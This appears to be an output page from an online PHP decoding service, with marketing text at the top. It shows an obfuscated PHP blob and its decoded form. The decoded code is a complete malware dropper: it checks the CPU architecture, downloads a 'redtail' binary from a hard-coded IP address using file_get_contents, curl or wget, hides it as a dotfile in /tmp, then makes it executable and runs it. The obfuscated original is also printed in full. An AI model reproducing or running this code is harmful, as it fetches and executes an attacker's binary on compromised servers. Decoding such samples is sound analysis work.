Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode("lZJhb9MwEIb/imdZKBFpwrYsLURBKlCkSRVFU+Gr5SQ2sXDiyHZIpa7/nUua..
Decoded Output download
function b(){$s=shell_exec("uname -m 2>&1");if(strpos($s,"i386")!==false||strpos($s,"i686")!==false){return "i686";}if(strpos($s,"aarch64")!==false||strpos($s,"arm8")!==false){return "arm8";}if(strpos($s,"arm7")!==false){return "arm7";}return "x86_64";}$a=b();$u=get_current_user();$p="/tmp/$u";if(!file_exists($p)){mkdir($p,0744,true);}$p="/tmp/$u/.redtail";if(file_exists($p)){shell_exec("rm -rf $p");}$f=fopen($p,"wb");if(filter_var(ini_get("allow_url_fopen"),FILTER_VALIDATE_BOOLEAN)){$b=file_get_contents("http://45.95.147.236/download/redtail.$a");fwrite($f,$b,strlen($b));}else{if(function_exists("curl_init")){$h=curl_init("http://45.95.147.236/download/redtail.$a");curl_setopt($h,CURLOPT_FILE,$f);curl_exec($h);curl_close($h);}else{fclose($f);shell_exec("cd /tmp/$u; wget http://45.95.147.236/download/redtail.$a -O .redtail; chmod +x .redtail; ./.redtail");exit();}}fclose($f);shell_exec("cd /tmp/$u; chmod +x .redtail; ./.redtail");exit();
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode("lZJhb9MwEIb/imdZKBFpwrYsLURBKlCkSRVFU+Gr5SQ2sXDiyHZIpa7/nUuasqIxqXzzne/ee+61RdcUTuoG5Z6/JzazFVeK8h0vPNw1rOZoVqOb96+usZ9K4VlnWm09YgMsbxcJ9q+yTDBl+ePj+VVyfuXvDXedadAxnx7+1mHMFFUSvyDFTL34l9SYfyZl6vkLxXMoPoW7RUJhYHogLIO1U9JlP7ijRWcMbxztLDdDts1w5Oo2Ih0eVr8SUnFwRloH01rf39c/S2ngGLyZx3HgTMd90Hxqi0LDS8ekGvuftZ9bbWo0MwKRFg8SIhO65c0gjfv86Dy0O27oL2Y82UgKwB5mSumedkbRsR77wef79Xb1QL8v1/efltsV/bDZrFfLLzCN5NlIMG6qGwebWg9XzrXvoii+C9/ehdfxPLy5TaJS943SrIwm/JAwYBC9kY57RAQkD8B0NQDmPvByMHs/IE5/6bQlLgY0oHV4AKiyP/F/DR67LHe6dR6pgo/fHtabr1sKq64CIqb70UZSTVGhtOVjeIQTUwKqz10vSjQ9VYp6MAZdSoVmG3R63BQVVa1L9Hp3lgqf3t5PwQ4HH+pwuADjQq3f")));
Function Calls
gzinflate | 1 |
base64_decode | 1 |
Stats
MD5 | 3cec64f5a6db13e99c2762b922d03581 |
Eval Count | 1 |
Decode Time | 56 ms |